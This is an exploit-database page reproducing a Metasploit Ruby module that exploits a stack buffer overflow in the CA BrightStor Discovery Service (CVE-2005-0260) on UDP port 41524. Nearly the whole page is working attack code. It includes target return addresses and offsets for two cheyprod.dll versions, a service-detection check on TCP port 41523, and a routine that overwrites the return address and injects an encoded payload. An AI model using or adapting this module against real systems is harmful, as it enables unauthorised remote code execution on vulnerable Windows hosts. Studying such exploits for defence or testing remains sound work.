CA BrightStor Discovery Service – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16406/

• ##
  # $Id: discovery_udp.rb 9263 2010-05-09 17:52:51Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerability in the CA BrightStor
  				Discovery Service. This vulnerability occurs when a large
  				request is sent to UDP port 41524, triggering a stack buffer
  				overflow.
  			},
  			'Author' => [ 'hdm', 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9263 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0260'],
  					[ 'OSVDB', '13613'],
  					[ 'BID', '12491'],
  					[ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 2048,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'cheyprod.dll 12/12/2003',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x23808eb0, # call to edi reg
  							'Offset' => 968,
  						},
  					],
  					[
  						'cheyprod.dll 07/21/2004',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x2380a908, # call edi
  							'Offset' => 970,
  						},
  					],
  				],
  			'DisclosureDate' => 'Dec 20 2004',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(41524)
  			], self.class)
  	end
  
  	def check
  
  		# The first request should have no reply
  		csock = Rex::Socket::Tcp.create(
  			'PeerHost'=> datastore['RHOST'],
  			'PeerPort'=> 41523,
  			'Context' =>
  				{
  					'Msf'=> framework,
  					'MsfExploit' => self,
  				})
  
  		csock.put('META')
  		x = csock.get_once(-1, 3)
  		csock.close
  
  		# The second request should be replied with the host name
  		csock = Rex::Socket::Tcp.create(
  			'PeerHost'=> datastore['RHOST'],
  			'PeerPort'=> 41523,
  			'Context' =>
  				{
  					'Msf'=> framework,
  					'MsfExploit' => self,
  				})
  
  		csock.put('hMETA')
  		y = csock.get_once(-1, 3)
  		csock.close
  
  		if (y and not x)
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect_udp
  
  		print_status("Trying target #{target.name}...")
  
  		buf = rand_text_english(4096)
  
  		# Target 0:
  		#
  		# esp @ 971
  		# ret @ 968
  		# edi @ 1046
  		# end = 4092
  
  		buf[target['Offset'], 4] = [ target.ret ].pack('V')
  		buf[1046, payload.encoded.length] = payload.encoded
  
  		udp_sock.put(buf)
  		udp_sock.recvfrom(8192)
  
  		handler
  		disconnect_udp
  	end
  
  end